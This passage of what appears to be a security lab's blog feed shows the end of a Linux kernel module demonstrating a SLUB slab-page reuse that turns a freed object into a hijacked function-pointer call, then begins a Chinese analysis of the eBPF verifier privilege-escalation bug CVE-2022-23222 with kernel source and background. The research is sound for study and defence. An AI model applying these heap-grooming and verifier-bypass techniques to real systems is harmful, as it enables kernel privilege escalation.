class="comment">5.10.90</span></span><br><span class="line"><span class="comment"> * */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/module.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/kernel.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/init.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/mm.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/slab.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/slub_def.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/sched.h></span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> OBJ_SIZE 256</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> OBJ_NUM (16 * 16)</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">my_struct</span> {</span></span><br><span class="line"> <span class="keyword">union</span> {</span><br><span class="line"> <span class="keyword">char</span> data[OBJ_SIZE];</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> {</span></span><br><span class="line"> <span class="keyword">void</span> (*func)(<span class="keyword">void</span>);</span><br><span class="line"> <span class="keyword">char</span> paddings[OBJ_SIZE - <span class="number">8</span>];</span><br><span class="line"> };</span><br><span class="line"> };</span><br><span class="line">} __attribute__((aligned(OBJ_SIZE)));</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">kmem_cache</span> *<span class="title">my_cachep</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">my_struct</span> **<span class="title">tmp_ms</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">my_struct</span> *<span class="title">ms</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">my_struct</span> *<span class="title">random_ms</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">page</span> *<span class="title">target</span>;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">hello_func</span><span class="params">(<span class="keyword">void</span>)</span></span>{</span><br><span class="line"> pr_info(<span class="string">"Hello\n"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">hack_func</span><span class="params">(<span class="keyword">void</span>)</span></span>{</span><br><span class="line"> pr_info(<span class="string">"Hacked\n"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> __init <span class="title">km_init</span><span class="params">(<span class="keyword">void</span>)</span></span>{</span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> OO_SHIFT 16</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> OO_MASK ((1 << OO_SHIFT) - 1)</span></span><br><span class="line"> <span class="keyword">int</span> i, cpu_partial, objs_per_slab;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">page</span> *<span class="title">target</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">page</span> *<span class="title">realloc</span>;</span></span><br><span class="line"> <span class="keyword">void</span> *p;</span><br><span class="line"></span><br><span class="line"> tmp_ms = kmalloc(OBJ_NUM * <span class="number">8</span>, GFP_KERNEL);</span><br><span class="line"> my_cachep = kmem_cache_create(<span class="string">"my_struct"</span>, <span class="keyword">sizeof</span>(struct my_struct), <span class="number">0</span>,</span><br><span class="line"> SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,<span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"> pr_info(<span class="string">"%s\n"</span>, my_cachep->name);</span><br><span class="line"> pr_info(<span class="string">"cpu_partial: %d\n"</span>, my_cachep->cpu_partial);</span><br><span class="line"> pr_info(<span class="string">"objs_per_slab: %u\n"</span>, my_cachep->oo.x & OO_MASK);</span><br><span class="line"> pr_info(<span class="string">"\n"</span>);</span><br><span class="line"></span><br><span class="line"> cpu_partial = my_cachep->cpu_partial;</span><br><span class="line"> objs_per_slab = my_cachep->oo.x & OO_MASK;</span><br><span class="line"></span><br><span class="line"> random_ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 16 * 14</span></span><br><span class="line"> <span class="keyword">for</span>(i = <span class="number">0</span>; i < (objs_per_slab * (cpu_partial + <span class="number">1</span>)); i++){</span><br><span class="line"> tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 15</span></span><br><span class="line"> <span class="keyword">for</span>(i = (objs_per_slab * (cpu_partial + <span class="number">1</span>));</span><br><span class="line"> i < objs_per_slab * (cpu_partial + <span class="number">2</span>) - <span class="number">1</span>; i++){</span><br><span class="line"> tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// free normal object</span></span><br><span class="line"> ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);</span><br><span class="line"> target = virt_to_page(ms);</span><br><span class="line"> pr_info(<span class="string">"target page: %px\n"</span>, target);</span><br><span class="line"> ms->func = (<span class="keyword">void</span> *)hello_func;</span><br><span class="line"> ms->func();</span><br><span class="line"> kmem_cache_free(my_cachep, ms);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 17</span></span><br><span class="line"> <span class="keyword">for</span>(i = objs_per_slab * (cpu_partial + <span class="number">2</span>) - <span class="number">1</span>;</span><br><span class="line"> i < objs_per_slab * (cpu_partial + <span class="number">2</span>) - <span class="number">1</span> + (objs_per_slab + <span class="number">1</span>); i++){</span><br><span class="line"> tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">// free page</span></span><br><span class="line"> <span class="keyword">for</span>(i = (objs_per_slab * (cpu_partial + <span class="number">1</span>));</span><br><span class="line"> i < objs_per_slab * (cpu_partial + <span class="number">2</span>) - <span class="number">1</span>; i++){</span><br><span class="line"></span><br><span class="line"> kmem_cache_free(my_cachep, tmp_ms[i]);</span><br><span class="line"> tmp_ms[i] = <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(i = objs_per_slab * (cpu_partial + <span class="number">2</span>) - <span class="number">1</span>;</span><br><span class="line"> i < objs_per_slab * (cpu_partial + <span class="number">2</span>) - <span class="number">1</span> + (objs_per_slab + <span class="number">1</span>); i++){</span><br><span class="line"> kmem_cache_free(my_cachep, tmp_ms[i]);</span><br><span class="line"> tmp_ms[i] = <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(i = <span class="number">0</span>; i < (objs_per_slab * (cpu_partial + <span class="number">1</span>)); i++){</span><br><span class="line"> <span class="keyword">if</span>(i % objs_per_slab == <span class="number">0</span>){</span><br><span class="line"> kmem_cache_free(my_cachep, tmp_ms[i]);</span><br><span class="line"> tmp_ms[i] = <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">// in other evil task</span></span><br><span class="line"> <span class="built_in">realloc</span> = alloc_page(GFP_KERNEL);</span><br><span class="line"> <span class="keyword">if</span>(<span class="built_in">realloc</span> == target){</span><br><span class="line"> pr_info(<span class="string">"[+] Realloc success!!!\n"</span>);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">p = page_address(<span class="built_in">realloc</span>);</span><br><span class="line"> <span class="keyword">for</span>(i = <span class="number">0</span>; i< PAGE_SIZE/<span class="number">8</span>; i++){</span><br><span class="line"> ((<span class="keyword">void</span> **)p)[i] = (<span class="keyword">void</span> *)hack_func;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">// UAF</span></span><br><span class="line"><span class="keyword">if</span>(<span class="number">0</span>)</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"> ms->func();</span><br><span class="line"></span><br><span class="line"> free_page((<span class="keyword">unsigned</span> <span class="keyword">long</span>)p);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> __exit <span class="title">km_exit</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> i;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(i = <span class="number">0</span>; i < OBJ_NUM; i++){</span><br><span class="line"> <span class="keyword">if</span>(tmp_ms[i])</span><br><span class="line"> kmem_cache_free(my_cachep, tmp_ms[i]);</span><br><span class="line"> }</span><br><span class="line"> kmem_cache_free(my_cachep, random_ms);</span><br><span class="line"> kmem_cache_destroy(my_cachep);</span><br><span class="line"> kfree(tmp_ms);</span><br><span class="line"> pr_info(<span class="string">"Bye\n"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">module_init(km_init);</span><br><span class="line">module_exit(km_exit);</span><br><span class="line"></span><br><span class="line">MODULE_LICENSE(<span class="string">"GPL"</span>);</span><br><span class="line">MODULE_AUTHOR(<span class="string">"X++D"</span>);</span><br><span class="line">MODULE_DESCRIPTION(<span class="string">"Kernel xxx Module."</span>);</span><br><span class="line">MODULE_VERSION(<span class="string">"0.1"</span>);</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>author: 熊潇 of <a href="https://www.iceswordlab.com/about/" target="_blank" rel="noopener">IceSword Lab</a></p>
<p>本文研究了内核编译选项 <code>CONFI
</summary>
</entry>
<entry>
<title>CVE-2022-23222 eBPF verifier 提权漏洞利用分析</title>
<link href="http://yoursite.com/2022/07/04/CVE-2022-23222/"/>
<id>http://yoursite.com/2022/07/04/CVE-2022-23222/</id>
<published>2022-07-04T14:00:00.000Z</published>
<updated>2025-07-16T10:02:19.308Z</updated>
<content type="html">< 。</p><h2 id="二、漏洞成因"><a href="#二、漏洞成因" class="headerlink" title="二、漏洞成因"></a>二、漏洞成因</h2><p>漏洞形成于 kernel/bpf/verifier.c 的 adjust_ptr_min_max_vals 函数:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">adjust_ptr_min_max_vals</span><span class="params">(struct bpf_verifier_env *env,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct bpf_insn *insn,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">const</span> struct bpf_reg_state *ptr_reg,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">const</span> struct bpf_reg_state *off_reg)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="keyword">switch</span> (ptr_reg->type) {</span><br><span class="line"><span class="keyword">case</span> PTR_TO_MAP_VALUE_OR_NULL:</span><br><span class="line">verbose(env, <span class="string">"R%d pointer arithmetic on %s prohibited, null-check it first\n"</span>,</span><br><span class="line">dst, reg_type_str[ptr_reg->type]);</span><br><span class="line"><span class="keyword">return</span> -EACCES;</span><br><span class="line"><span class="keyword">case</span> CONST_PTR_TO_MAP:</span><br><span class="line"><span class="comment">/* smin_val represents the known value */</span></span><br><span class="line"><span class="keyword">if</span> (known && smin_val == <span class="number">0</span> && opcode == BPF_ADD)</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">fallthrough;</span><br><span class="line"><span class="keyword">case</span> PTR_TO_PACKET_END:</span><br><span class="line"><span class="keyword">case</span> PTR_TO_SOCKET:</span><br><span class="line"><span class="keyword">case</span> PTR_TO_SOCKET_OR_NULL:</span><br><span class="line"><span class="keyword">case</span> PTR_TO_SOCK_COMMON:</span><br><span class="line"><span class="keyword">case</span> PTR_TO_SOCK_COMMON_OR_NULL:</span><br><span class="line"><span class="keyword">case</span> PTR_TO_TCP_SOCK:</span><br><span class="line"><span class="keyword">case</span> PTR_TO_TCP_SOCK_OR_NULL:</span><br><span class="line"><span class="keyword">case</span> PTR_TO_XDP_SOCK:</span><br><span class="line">verbose(env, <span class="string">"R%d pointer arithmetic on %s prohibited\n"</span>,</span><br><span class="line">dst, reg_type_str[ptr_reg->type]);</span><br><span class="line"><span class="keyword">return</span> -EACCES;</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在禁止特定指针类型的算数加减运算时,没有列举完所有的 *OR_NULL 类型指针,导致部分 *OR_NULL 类型指针可以进行非法运算。</p><p>所有的 *OR_NULL 类型指针可以在枚举类型 bpf_reg_type 中找到。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">enum</span> bpf_reg_type {</span><br><span class="line"> NOT_INIT = <span class="number">0</span>, <span class="comment">/* nothing was written into register */</span></span><br><span class="line"> SCALAR_VALUE, <span class="comment">/* reg doesn't contain a valid pointer */</span></span><br><span class="line"> PTR_TO_CTX, <span class="comment">/* reg points to bpf_context */</span></span><br><span class="line"> CONST_PTR_TO_MAP, <span class="comment">/* reg points to struct bpf_map */</span></span><br><span class="line"> PTR_TO_MAP_VALUE, <span class="comment">/* reg points to map element value */</span></span><br><span class="line"> PTR_TO_MAP_VALUE_OR_NULL, <span class="comment">/* points to map elem value or NULL */</span></span><br><span class="line"> PTR_TO_STACK, <span class="comment">/* reg == frame_pointer + offset */</span></span><br><span class="line"> PTR_TO_PACKET_META, <span class="comment">/* skb->data - meta_len */</span></span><br><span class="line"> PTR_TO_PACKET, <span class="comment">/* reg points to skb->data */</span></span><br><span class="line"> PTR_TO_PACKET_END, <span class="comment">/* skb->data + headlen */</span></span><br><span class="line"> PTR_TO_FLOW_KEYS, <span class="comment">/* reg points to bpf_flow_keys */</span></span><br><span class="line"> PTR_TO_SOCKET, <span class="comment">/* reg points to struct bpf_sock */</span></span><br><span class="line"> PTR_TO_SOCKET_OR_NULL, <span class="comment">/* reg points to struct bpf_sock or NULL */</span></span><br><span class="line"> PTR_TO_SOCK_COMMON, <span class="comment">/* reg points to sock_common */</span></span><br><span class="line"> PTR_TO_SOCK_COMMON_OR_NULL, <span class="comment">/* reg points to sock_common or NULL */</span></span><br><span class="line"> PTR_TO_TCP_SOCK, <span class="comment">/* reg points to struct tcp_sock */</span></span><br><span class="line"> PTR_TO_TCP_SOCK_OR_NULL, <span class="comment">/* reg points to struct tcp_sock or NULL */</span></span><br><span class="line"> PTR_TO_TP_BUFFER, <span class="comment">/* reg points to a writable raw tp's buffer */</span></span><br><span class="line"> PTR_TO_XDP_SOCK, <span class="comment">/* reg points to struct xdp_sock */</span></span><br><span class="line"> <span class="comment">/* PTR_TO_BTF_ID points to a kernel struct that does not need</span></span><br><span class="line"><span class="comment"> * to be null checked by the BPF program. This does not imply the</span></span><br><span class="line"><span class="comment"> * pointer is _not_ null and in practice this can easily be a null</span></span><br><span class="line"><span class="comment"> * pointer when reading pointer chains. The assumption is program</span></span><br><span class="line"><span class="comment"> * context will handle null pointer dereference typically via fault</span></span><br><span class="line"><span class="comment"> * handling. The verifier must keep this in mind and can make no</span></span><br><span class="line"><span class="comment"> * assumptions about null or non-null when doing branch analysis.</span></span><br><span class="line"><span class="comment"> * Further, when passed into helpers the helpers can not, without</span></span><br><span class="line"><span class="comment"> * additional context, assume the value is non-null.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> PTR_TO_BTF_ID,</span><br><span class="line"> <span class="comment">/* PTR_TO_BTF_ID_OR_NULL points to a kernel struct that has not</span></span><br><span class="line"><span class="comment"> * been checked for null. Used primarily to inform the verifier</span></span><br><span class="line"><span class="comment"> * an explicit null check is required for this struct.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> PTR_TO_BTF_ID_OR_NULL,</span><br><span class="line"> PTR_TO_MEM, <span class="comment">/* reg points to valid memory region */</span></span><br><span class="line"> PTR_TO_MEM_OR_NULL, <span class="comment">/* reg points to valid memory region or NULL */</span></span><br><span class="line"> PTR_TO_RDONLY_BUF, <span class="comment">/* reg points to a readonly buffer */</span></span><br><span class="line"> PTR_TO_RDONLY_BUF_OR_NULL, <span class="comment">/* reg points to a readonly buffer or NULL */</span></span><br><span class="line"> PTR_TO_RDWR_BUF, <span class="comment">/* reg points to a read/write buffer */</span></span><br><span class="line"> PTR_TO_RDWR_BUF_OR_NULL, <span class="comment">/* reg points to a read/write buffer or NULL */</span></span><br><span class="line"> PTR_TO_PERCPU_BTF_ID, <span class="comment">/* reg points to a percpu kernel variable */</span></span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>可发现漏掉的指针类型包括:</p><ul><li>PTR_TO_BTF_ID_OR_NULL</li><li>PTR_TO_MEM_OR_NULL</li><li>PTR_TO_RDONLY_BUF_OR_NULL</li><li>PTR_TO_RDWR_BUF_OR_NULL</li></ul><h2 id="三、漏洞相关知识"><a href="#三、漏洞相关知识" class="headerlink" title="三、漏洞相关知识"></a>三、漏洞相关知识</h2><p>eBPF (Extended Berkeley Packet Filter) 由 cBPF (Classic Berkeley Packet Filter) 衍生而来,是一项可在内核虚拟机中运行程序的技术。使用eBPF无需修改内核源码,或者插入驱动,对系统的入侵性相对没那么强,可以安全并有效地扩展内核的功能。</p><h3 id="3-1-eBPF指令"><a href="#3-1-eBPF指令" class="headerlink" title="3.1 eBPF指令"></a>3.1 eBPF指令</h3><p>eBPF 使用类似 x86 的虚拟机指令,基础指令为 8 字节,其编码格式为:</p><table><thead><tr><th align="center">32 bits (MSB)</th><th align="center">16 bits</th><th align="center">4 bits</th><th align="center">4 bits</th><th align="center">8 bits (LSB)</th></tr></thead><tbody><tr><td align="center">immediate</td><td align="center">offset</td><td align="center">source register</td><td align="center">destination register</td><td align="center">opcode</td></tr></tbody></table><p>扩展指令在基础指令基础上增加 8 个字节的立即数,总长度为 16 字节。</p><p>伪指令是内核代码中定义的方便理解记忆的助记符,通常是对真实指令的包装。</p><p>下文中出现的指令/伪指令及其功能如下:</p><table><thead><tr><th align="center">指令/伪指令</th><th align="center">功能</th></tr></thead><tbody><tr><td align="center">BPF_MOV64_REG(DST, SRC)</td><td align="center">dst = src</td></tr><tr><td align="center">BPF_MOV64_IMM(DST, IMM)</td><td align="center">dst_reg = imm32</td></tr><tr><td align="center">BPF_ST_MEM(SIZE, DST, OFF, IMM)</td><td align="center">*(uint *) (dst_reg + off16) = imm32</td></tr><tr><td align="center">BPF_STX_MEM(SIZE, DST, SRC, OFF)</td><td align="center">*(uint *) (dst_reg + off16) = src_reg</td></tr><tr><td align="center">BPF_LDX_MEM(SIZE, DST, SRC, OFF)</td><td align="center">dst_reg = *(uint *) (src_reg + off16)</td></tr><tr><td align="center">BPF_ALU64_IMM(OP, DST, IMM)</td><td align="center">dst_reg = dst_reg ‘op’ imm32</td></tr><tr><td align="center">BPF_JMP_IMM(OP, DST, IMM, OFF)</td><td align="center">if (dst_reg ‘op’ imm32) goto pc + off16</td></tr><tr><td align="center">BPF_LD_MAP_FD(DST, MAP_FD)</td><td align="center">dst = map_fd</td></tr><tr><td align="center">BPF_EXIT_INSN()</td><td align="center">exit</td></tr></tbody></table><h3 id="3-2-eBPF寄存器"><a href="#3-2-eBPF寄存器" class="headerlink" title="3.2 eBPF寄存器"></a>3.2 eBPF寄存器</h3><p>eBPF 共有 11 个寄存器,其中 R10 是只读的帧指针,剩余 10 个是通用寄存器。</p><ul><li>R0: 保存函数返回值,及 eBPF 程序退出值</li><li>R1 - R5: 传递函数参数,调用函数保存</li><li>R6 - R9: 被调用函数保存</li><li>R10: 只读的帧指针</li></ul><h3 id="3-3-eBPF程序类型"><a href="#3-3-eBPF程序类型" class="headerlink" title="3.3 eBPF程序类型"></a>3.3 eBPF程序类型</h3><p>所有 eBPF 程序类型定义在以下枚举类型:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">enum</span> bpf_prog_type {</span><br><span class="line">BPF_PROG_TYPE_UNSPEC = <span class="number">0</span>,</span><br><span class="line">BPF_PROG_TYPE_SOCKET_FILTER = <span class="number">1</span>,</span><br><span class="line">BPF_PROG_TYPE_KPROBE = <span class="number">2</span>,</span><br><span class="line">BPF_PROG_TYPE_SCHED_CLS = <span class="number">3</span>,</span><br><span class="line">BPF_PROG_TYPE_SCHED_ACT = <span class="number">4</span>,</span><br><span class="line">BPF_PROG_TYPE_TRACEPOINT = <span class="number">5</span>,</span><br><span class="line">BPF_PROG_TYPE_XDP = <span class="number">6</span>,</span><br><span class="line">BPF_PROG_TYPE_PERF_EVENT = <span class="number">7</span>,</span><br><span class="line">BPF_PROG_TYPE_CGROUP_SKB = <span class="number">8</span>,</span><br><span class="line">BPF_PROG_TYPE_CGROUP_SOCK = <span class="number">9</span>,</span><br><span class="line">BPF_PROG_TYPE_LWT_IN = <span class="number">10</span>,</span><br><span class="line">BPF_PROG_TYPE_LWT_OUT = <span class="number">11</span>,</span><br><span class="line">BPF_PROG_TYPE_LWT_XMIT = <span class="number">12</span>,</span><br><span class="line">BPF_PROG_TYPE_SOCK_OPS = <span class="number">13</span>,</span><br><span class="line">BPF_PROG_TYPE_SK_SKB = <span class="number">14</span>,</span><br><span class="line">BPF_PROG_TYPE_CGROUP_DEVICE = <span class="number">15</span>,</span><br><span class="line">BPF_PROG_TYPE_SK_MSG = <span class="number">16</span>,</span><br><span class="line">BPF_PROG_TYPE_RAW_TRACEPOINT = <span class="number">17</span>,</span><br><span class="line">BPF_PROG_TYPE_CGROUP_SOCK_ADDR = <span class="number">18</span>,</span><br><span class="line">BPF_PROG_TYPE_LWT_SEG6LOCAL = <span class="number">19</span>,</span><br><span class="line">BPF_PROG_TYPE_LIRC_MODE2 = <span class="number">20</span>,</span><br><span class="line">BPF_PROG_TYPE_SK_REUSEPORT = <span class="number">21</span>,</span><br><span class="line">BPF_PROG_TYPE_FLOW_DISSECTOR = <span class="number">22</span>,</span><br><span class="line">BPF_PROG_TYPE_CGROUP_SYSCTL = <span class="number">23</span>,</span><br><span class="line">BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = <span class="number">24</span>,</span><br><span class="line">BPF_PROG_TYPE_CGROUP_SOCKOPT = <span class="number">25</span>,</span><br><span class="line">BPF_PROG_TYPE_TRACING = <span class="number">26</span>,</span><br><span class="line">BPF_PROG_TYPE_STRUCT_OPS = <span class="number">27</span>,</span><br><span class="line">BPF_PROG_TYPE_EXT = <span class="number">28</span>,</span><br><span class="line">BPF_PROG_TYPE_LSM = <span class="number">29</span>,</span><br><span class="line">BPF_PROG_TYPE_SK_LOOKUP = <span class="number">30</span>,</span><br><span class="line">BPF_PROG_TYPE_SYSCALL = <span class="number">31</span>,</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>下文涉及到的类型只有 BPF_PROG_TYPE_SOCKET_FILTER 。该类型 eBPF 程序通过 setsockopt 附加到指定 socket 上面,对 socket 的流量进行追踪、过滤,可附加的 socket 类型包括 UNIX socket 。</p><p>该类型程序的传入参数为结构体 __sk_buff 指针,可通过调用 bpf_skb_load_bytes_relative 辅助函数经由该结构体获取 socket 流量。</p><h3 id="3-4-eBPF-map"><a href="#3-4-eBPF-map" class="headerlink" title="3.4 eBPF map"></a>3.4 eBPF map</h3><p>eBPF map 是 eBPF 程序和用户态进行数据交换的媒介。其类型包括:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">enum</span> bpf_map_type {</span><br><span class="line">BPF_MAP_TYPE_UNSPEC = <span class="number">0</span>,</span><br><span class="line">BPF_MAP_TYPE_HASH = <span class="number">1</span>,</span><br><span class="line">BPF_MAP_TYPE_ARRAY = <span class="number">2</span>,</span><br><span class="line">BPF_MAP_TYPE_PROG_ARRAY = <span class="number">3</span>,</span><br><span class="line">BPF_MAP_TYPE_PERF_EVENT_ARRAY = <span class="number">4</span>,</span><br><span class="line">BPF_MAP_TYPE_PERCPU_HASH = <span class="number">5</span>,</span><br><span class="line">BPF_MAP_TYPE_PERCPU_ARRAY = <span class="number">6</span>,</span><br><span class="line">BPF_MAP_TYPE_STACK_TRACE = <span class="number">7</span>,</span><br><span class="line">BPF_MAP_TYPE_CGROUP_ARRAY = <span class="number">8</span>,</span><br><span class="line">BPF_MAP_TYPE_LRU_HASH = <span class="number">9</span>,</span><br><span class="line">BPF_MAP_TYPE_LRU_PERCPU_HASH = <span class="number">10</span>,</span><br><span class="line">BPF_MAP_TYPE_LPM_TRIE = <span class="number">11</span>,</span><br><span class="line">BPF_MAP_TYPE_ARRAY_OF_MAPS = <span class="number">12</span>,</span><br><span class="line">BPF_MAP_TYPE_HASH_OF_MAPS = <span class="number">13</span>,</span><br><span class="line">BPF_MAP_TYPE_DEVMAP = <span class="number">14</span>,</span><br><span class="line">BPF_MAP_TYPE_SOCKMAP = <span class="number">15</span>,</span><br><span class="line">BPF_MAP_TYPE_CPUMAP = <span class="number">16</span>,</span><br><span class="line">BPF_MAP_TYPE_XSKMAP = <span class="number">17</span>,</span><br><span class="line">BPF_MAP_TYPE_SOCKHASH = <span class="number">18</span>,</span><br><span class="line">BPF_MAP_TYPE_CGROUP_STORAGE = <span class="number">19</span>,</span><br><span class="line">BPF_MAP_TYPE_REUSEPORT_SOCKARRAY = <span class="number">20</span>,</span><br><span class="line">BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE = <span class="number">21</span>,</span><br><span class="line">BPF_MAP_TYPE_QUEUE = <span class="number">22</span>,</span><br><span class="line">BPF_MAP_TYPE_STACK = <span class="number">23</span>,</span><br><span class="line">BPF_MAP_TYPE_SK_STORAGE = <span class="number">24</span>,</span><br><span class="line">BPF_MAP_TYPE_DEVMAP_HASH = <span class="number">25</span>,</span><br><span class="line">BPF_MAP_TYPE_STRUCT_OPS 